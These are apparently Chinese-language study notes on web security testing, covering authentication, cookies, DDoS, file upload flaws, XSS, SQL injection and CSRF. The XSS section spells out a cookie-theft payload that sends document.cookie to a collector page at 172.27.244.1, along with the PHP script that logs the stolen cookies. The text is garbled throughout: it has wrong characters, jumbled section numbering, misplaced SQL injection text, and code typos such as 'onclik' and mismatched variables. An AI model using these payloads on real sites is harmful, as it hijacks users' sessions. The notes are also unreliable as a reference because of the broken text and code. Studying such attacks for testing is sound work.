安全测试学习总结
程序员在开发过程当中会有意或无心埋下一些漏洞,发现一些安全性漏洞,寻求有效的解决方法是测试工程师责无旁贷的责任。
安全测试主要涉及如下内容:
一、认证与受权
· 受权:在网站中不一样的角色有不一样的权限。
· 认证:一些网页访问须要输入密码进行登陆认证。
在认证与受权中要尽量避免出现漏洞,不然将被不法分子有意地进行利用。
二、Session与Cookie
· Session在网络应用中称为"会话控制",是保存在服务器端的数据或者文件;
· cookie是保存在客户端电脑上的文件;
cookie很容易经过某种手段获取到咱们的权限以及一些隐私信息;session ID是惟一的标记,一旦别人经过cookie欺骗等手段获取了session ID,能够将其做为协议包发给服务器,从而就拥有了咱们的权限。
三、DDOS分布式拒绝服务攻击
分布式拒绝服务攻击(DDOS)指的是借助于客户/服务器技术,将多个计算机联合起来做为攻击平台,对一个或多个目标发动攻击,从而成倍地提升拒绝服务攻击的威力。
一般,攻击者盗用别人的帐号将DDOS主控程序安装在一个计算机上,代理程序安装在网络上的许多计算机上,在一个设定的时间,主控程序将与大量代理程序进行通信。代理程序收到指令就发动攻击,从而占用服务器的资源,没法正常向用户提供服务。
任何事物的发展都是有利有弊的,高速普遍链接的网络也不例外。一方面网络给你们带来了便捷,另外一方面也为DDOS攻击创造了极为有利的条件。在低速网络时代时,因为技术的限制,黑客占领攻击用的傀儡机时,老是会优先考虑离目标网络距离近的机器。而在现在网络高速发展、普遍链接的信息化时代,数据传输再也不是问题,这使得攻击能够从更远的地方或者其余城市发起,从而做为攻击的傀儡机能够分布在更大的范围,选择起来更灵活了。
被DDOS攻击时的现象:
1)被攻击主机上会有大量等待的TCP链接;
2)网络中充斥着大量的无用的数据包,源地址为假;
3)制造高流量无用数据,形成网络拥塞,使受害主机没法正常和外界通信;
4)利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机没法及时处理全部正常请求;
四、文件上传漏洞
文件上传漏洞是指用户上传了一个可执行的脚本文件,并经过此脚本文件得到了执行服务器命令的能力。
大部分的网站和应用系统都具有上传功能,例如用户头像上传,图片上传,文档上传,视频上传等。因为实现文件上传的代码没有严格限制用户上传的文件后缀以及文件类型,致使容许攻击者向某个目录上传任意PHP文件,并可以将这些文件传递给PHP解释器,就能够在远程服务器上执行任意PHP脚本。
当系统存在文件上传漏洞时攻击者能够将病毒,木马,其余恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差别,此处上传的脚本能够是正常后缀的PHP,ASP以及JSP脚本,也能够是篡改后缀后的这几类脚本。
五、XSS跨站攻击
XSS跨站攻击指的是攻击者利用网站程序对用户输入过滤不足,输入能够显示在页面上对其余用户形成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动做或者对访问者进行病毒侵害的一种攻击方式。
XSS漏洞是目前为止发现的在全部网站超过80%比例的定制Web应用程序中最多见的漏洞。XSS主要攻击的是用户,例如钓鱼网站获取别的用户的Session ID,经过别人的输入来获取关键信息。
XSS是一种攻击技术,它使得加载在用户的Web浏览器上的网站出现攻击者提供的可执行代码,当黑客利用该存在漏洞的网站做为攻击对象时,用户理所固然的成为受害者。
跨站攻击的类型包含持久型跨站、非持久型跨站、DOM跨站,不一样的跨站类型,有不一样的跨站特色与区别,但又有跨站之间的相互联系。
存储型XSS,持久化,代码是存储在服务器中的,如在我的信息或发表文章等地方,加入代码,若是没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易形成蠕虫,盗窃cookie等。
反射型XSS,非持久化,须要欺骗用户本身去点击连接才能触发XSS代码(服务器中没有这样的页面和内容),通常容易出如今搜索页面。
DOM跨站攻击是最隐蔽型的攻击,也就是说输出内容在源码里面看不到,不是直接输出的。
经过任何能够输入的地方,向服务器端注入信息,是广泛的攻击方式。
整体来讲就是经过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来讲,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它能够经过在Web表单中输入(恶意)SQL语句获得一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
不知道设计者的SQL语句,不知道用户名,密码,采用这种暴力破解,准备足够多的帐号信息,不停地进行试验,总能够找到用户名,密码。快速破解须要借助于代码,而不是人工主要采用的方式。
七、跨站请求伪造(CSRF)
跨站请求伪造(CSRF)指的是攻击者控制受害者的计算机,强迫受害者的浏览器向一个易受攻击的Web应用程序发送请求,最后达到攻击者所须要的操做行为。恶意请求会带上浏览器的Cookie,受攻击的Web应用信任浏览器的Cookie。
2、安全测试类型详解
一、认证与受权
尽可能避免未被受权的页面能够直接访问,应该对每一个页面都有一个session变量的判断。若是没有判断只要用户知道URL地址就能进行访问。
测试方法:在不登录的状况下,使用绝对URL地址对页面进行访问,可否正常访问,绝对URL地址直接经过httpwatch对每一个请求进行获取。
二、session与cookie
避免保存敏感信息到cookie文件中,cookie的保存能够提升用户的体验。
做用域:
Set-Cookie:PHPSESSIONID= ;pash=/相对于根目录而言的,如C:\xampp\htdocs就是根目录,agileone保存的信息是在phpwind是能读取到的,相互之间是一样的做用域,两个系统能够交叉读取cookie信息。
解决办法是:不一样的应用系统不一样的做用域,如将agileone和phpwind两个应用配置在不一样的做用域当中:便可修改代码path=/agileone,path=/phpwind.
五、XSS跨站攻击
跨站脚本攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。
主要是但愿攻击用户,经过用户获取敏感信息。
1)如何写XSS脚本:
<input type="button" value="点我" onclick="alert('你好')"/>标准的html代码,也能够做为测试的标准。
服务器不会执行,只是别的用户会进行执行。
换成图片
<img src="https://www.baidu.com/img/bd_logo1.png" onclik="alert=('你被黑了')"/>
2)如何获取用户的cookie:
使用跨站攻击的工具,Java script有一个方法document.cookie可获取cookie属性。
具体以下:
<img src="https://www.baidu.com/img/bd_logo1.png" onclik="alert(document.cookie)"/>
直接点击图片就能获取页面的cookie。
3)如何进行cookie传输:
<1>单击按钮时直接打开页面,页面是设置好的页面,经过GET参数直接把cookie信息传到该页面,能够远程收到cookie;
<2>获取cookie信息进行位置变换,进行保存以后就能获取到相应的信息。
<3>实际操做:
在C:\xampp\htdocs下新建cookie.php页面:
<?php $cookieValue=$_GET['cookie'];
$fire=fopen("c:\cookie.txt","a");$符号表示定义变量,a表示往文件中追加,w表示写,r表示读;
fwrite($file,$cookieValue);
fclose($file);
<img src="https://www.baidu.com/img/bd_logo1.png" onclik="location.href='http://172.27.244.1/cookie.php?cookie='+document.cookie'"/>
会过滤+,不能进行cookie获取。下一个方法将cookie值存入当前页面的文本框,使用HTTPwatch进行获取元素的id:
<img src="https://www.baidu.com/img/bd_logo1.png" onclik="document.getElementByld('attendee') value=document.cookie"/>
4)DOM跨站攻击实例:
一般的状况是<a href="xxx" title="标题内容">xxxxxxx</a>,此标题内容在进行查看源代码的时候进行查找是查找不到的。换句话说这个是被动态产生的,因此就存在潜在的问题,若是"标题内容"写为xxxxxx"><img><",整个代码就会无形中插入一个HTML标签
<a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a>
可是 实际状况下," , > 这些符号都是会被过滤的,你输入的标题内容写为
xxxxxxxxx"><img><"
因为是动态产生的,最后" 会自动变为",这就形成了DOM攻击。
5)防护XSS的原则
对输入的数据进行"过滤",对输出数据进行 "编码"。这里的"编码"也要注意,必须针对数据具体的上下文语境进行针对性的编码。例如数据是输出到HTML中的那就要进行HtmlEncode,若是数据是输出到javascript代码中进行拼接的,那就要进行javascriptEncode。
若是不搞清楚数据具体输出的语境,就有可能由于HtmlParser()和javascriptParser()两种解析引擎的执行前后问题致使看似严密的"编码"形同虚设。
六、SQL注入
是最通用的一个攻击手段,要求必需要有数据库,且必须是关系型数据库。
服务器对SQL的防范也是很是严密。
目的:1)获取服务器端数据库的内容;
2)修改数据库的内容;
对于php、mysql、jsp、oracle、access等都能进行攻击,且攻击方式不一致。